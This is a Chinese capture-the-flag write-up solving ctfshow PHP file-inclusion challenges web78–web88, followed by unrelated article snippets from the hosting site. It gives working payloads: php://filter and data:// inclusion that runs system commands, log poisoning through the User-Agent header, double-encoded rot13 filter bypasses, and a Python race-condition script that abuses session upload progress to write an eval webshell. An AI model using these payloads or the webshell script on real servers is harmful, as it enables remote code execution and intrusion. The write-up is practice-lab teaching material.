【Web】CTFSHOW PHP文件包含刷题记录(全)

温故知新。

目录

web78

web79

web80

web81

web82

web83

web84

web85

web86

web87

web88


web78

伪协议base64编码直接读出文件内容就行

?file=php://filter/convert.base64-encode/resource=flag.php

web79

一眼data伪协议包含php脚本

?file=data://text/plain,<?=system('tac f*')?>

web80

data也被禁了,日志包含即可

?file=/var/log/nginx/access.logUA:<?php system('tac f*')?>

web81

多禁了一个":",还是可以日志包含

?file=/var/log/nginx/access.logUA:<?php system('tac f*')?>

web82

连"."都被禁用了,/tmp/sess_xxx是不带点的,尝试多线程条件竞争包含临时目录下的session文件

【心得】PHP文件包含高级利用攻击面个人笔记

竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。

开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,但他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。

线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。

条件竞争漏洞其实也就是当同时并发多个线程去做同一件事,导致处理逻辑的代码出错,出现意想不到的结果。
 

下面贴出我的私用脚本,建议收藏(bushi

import requests
import threadingsess = "Z3r4y"file_name = "/var/www/html/1.php"
file_content = '<?php eval($_POST[1]);?>'url = "http://30fb3ca5-61ea-49af-927f-05e8c0f4fcc7.challenge.ctf.show/"data = {"PHP_SESSION_UPLOAD_PROGRESS": f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
}file = {'file': 'Z3r4y'
}cookies = {'PHPSESSID': sess
}def write(session):while True:r = session.post(url=url, data=data, files=file, cookies=cookies)def read(session):while True:r = session.post(url=url + "?file=/tmp/sess_Z3r4y")if "success" in r.text:print("shell 地址为:" + url + "/1.php")exit()else:print('让我访问!!')if __name__ == '__main__':threads = []for i in range(5):session = requests.session()t = threading.Thread(target=write, args=(session,))threads.append(t)t.start()for i in range(5):session = requests.session()t = threading.Thread(target=read, args=(session,))threads.append(t)t.start()for t in threads:t.join()

运行结果

拿到shell,访问RCE即可

web83

session_unset()函数用于释放当前会话中所有已注册的会话变量。它会将会话数组中的所有元素置为空,并将当前会话的变量销毁,但并不会完全终止会话。

session_destroy()函数用于销毁当前会话。它会删除当前会话的所有数据,包括会话文件(如果使用文件存储会话数据)或相关的存储机制中的数据。同时,会话ID也会被删除,导致会话无法再被恢复。

这两个函数通常一起使用,用于清除和终止会话。

但是并不慌,只要是程序运行,必定会消耗时间,从session_unset()运行到include之前的这段时间,我们只要再上传文件注册一个session就可在临时文件里再创建一个sess文件,成功包含。

脚本和上一题一样。

web84

同上,在system("rm -rf /tmp/*")和include($file)之间再上传sess文件即可成功包含。

web85

 同上,进file_exists的时候一个线程的sess文件还在,进file_get_contents之前时候会话终止,sess文件被销毁,然后文件内容为空进不到strpos的if判断,成功包含。

线程开大一点就可以成功写入。

web86

dirname — 返回 path 的父目录。 如果在 path 中没有斜线,则返回一个点('.'),表示当前目录。否则返回的是把 path 中结尾的/component(最后一个斜线以及后面部分)去掉之后的字符串。

set_include_path — 设置include函数中 include_path 配置选项,成功时返回旧的 include_path或者在失败时返回 false

include — 被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path指定的目录寻找。如果在 include_path下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告;这一点和require 不同,后者会发出一个致命错误。

我们include已经指定了路径,不受影响,还是用上面的脚本打

web87

 一眼死亡exit绕过

php://filter 绕过死亡file_put_content()

?file=php://filter/write=string.rot13/resource=1.php

php-fpm接收数据时会url解码一次, urldecode又会url解码一次,所以要url二次编码,顺便过掉':'和'.'的waf

这里推荐用burpsuite自带的编码工具,它的url编码是全编码

 

php://filter/write=string.rot13/resource=1.php用于将输出进行rot13编码后写入指定的文件

然后随便找个rot13在线编码网站,编码一次, 这样伪协议过滤器rot13编码写文件就会把编码内容还原会原来的恶意代码(rot13编码两次即恢复原样),顺带过掉die。最终payload:

?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%32%65%25%37%32%25%36%66%25%37%34%25%33%31%25%33%33%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30post:content=<?cuc flfgrz('gnp s*');?>

web88

没有过滤冒号,可以使用data://协议。但是因为过滤了'php'和'=',不太好直接写马,所以需要base64编码。不过还有一点就是base64编码后很容易出'='和'+',所以需要去加一些字符调整payload。

 加个Z3r4y竟然可以hhh

payload:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/PlozcjR5

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/340556.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux基础开发工具--vim

2.vim 代码编辑器 vim共有3种模式&#xff1a; ​ ​ 命令模式&#xff1a; $:将光标定位在当前行最右侧 ^:将光标定位在当前行最左侧 shiftg:将光标移到文本结尾 nshiftg:将光标移到文本第n行 gg:将光标移到文本开始 h:左 j:下 k:上 l:右 nyy:复制当前行/或复制多…

Logstash应用-同步ES(elasticsearch)到HDFS

1.场景分析 现有需求需要将elasticsearch的备份至hdfs存储&#xff0c;根据以上需求&#xff0c;使用logstash按照天级别进行数据的同步 2.重难点 数据采集存在时间漂移问题&#xff0c;数据保存时使用的是采集时间而不是数据生成时间采用webhdfs无法对文件大小进行设置解决…

C++ future/promise/thread/async/packaged_task入门

std::promise、future、thread、async、packaged_task这些到底是个啥&#xff1f; 两种获取异步结果的方式 std::future std::future是一个同步原语&#xff0c;它代表了一个异步操作的结果。这个结果可能来自另一个线程、任务或者异步操作&#xff0c;而std::future提供了一种…

【LeetCode:200. 岛屿数量 | DFS 】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…

使用微信读书高效阅读论文,自带翻译功能。

下面以“向文本到图像扩散模型添加条件控制”&#xff08;Adding Conditional Control to Text-to-Image Diffusion Models&#xff09;这篇论文示例下阅读效果。 论文地址&#xff1a;https://arxiv.org/abs/2302.05543 选择右侧的download PDF, 然后进入论文预览页面&#x…

记录误删除docker中极狐gitlab容器恢复过程

如题一次误操作导致删除了docker中极狐gitlab容器恢复过程 情况说明 创建容器时&#xff0c;我是用的是极狐官网推荐安装的步骤&#xff0c;具体按照官网步骤走就行 sudo docker run --detach \--hostname gitlab.example.com \--publish 443:443 --publish 80:80 --publish …

有效的回文

常用方法就是双指针。使用两个指针从字符串的两端向中间移动&#xff0c;同时比较对应位置的字符&#xff0c;直到两个指针相遇。由于题目忽略非字母和非数字的字符且忽略大小写&#xff0c;所以跳过那些字符&#xff0c;并将字母转换为小写&#xff08;或大写&#xff09;进行…

SpringBoot默认配置文件

✅作者简介:大家好,我是Leo,热爱Java后端开发者,一个想要与大家共同进步的男人😉😉 🍎个人主页:Leo的博客 💞当前专栏: 循序渐进学SpringBoot ✨特色专栏: MySQL学习 🥭本文内容:SpringBoot默认配置文件 📚个人知识库: Leo知识库,欢迎大家访问 1.前言☕…

公网环境使用移动端设备+cpolar远程访问本地群晖nas上的影视资源

文章目录 1.使用环境要求&#xff1a;2.下载群晖videostation&#xff1a;3.公网访问本地群晖videostation中的电影&#xff1a;4.公网条件下使用电脑浏览器访问本地群晖video station5.公网条件下使用移动端&#xff08;搭载安卓&#xff0c;ios&#xff0c;ipados等系统的设备…

杨中科 .NETCORE 异步编程

一、 为什么需要异步编程 异步点餐的优点&#xff1a;能同时服务多个客人 异步点餐一定会提升单个客户点餐速度吗&#xff1f; 答案理所当然&#xff1a;不能 图片美化服务例子服务器能够同时服务的请求数量有限 void BeautifyPic (File photo, Response response) {byte[] …

企业出海合规:如何区分数据控制者与数据处理者

什么是数据控制者&#xff1f; 数据控制者确定个人数据的处理目的和方式。若该企业有权决定处理个人数据的“原因”和“方式”&#xff0c;那么它就是数据控制者。在GDPR中&#xff0c;数据控制者在保护数据主体&#xff08;例如网站用户&#xff09;的隐私和权利方面负有最大…

【排序】归并排序(C语言实现)

文章目录 1. 递归版的归并排序1.1 归并排序的思想2. 递归版的归并排序的实现 2. 非递归版的归并排序 1. 递归版的归并排序 1.1 归并排序的思想 归并排序&#xff08;MERGE - SORT&#xff09;是建立在归并操作上的一种有效的排序算法, 该算法是采用分治法&#xff08;Divide a…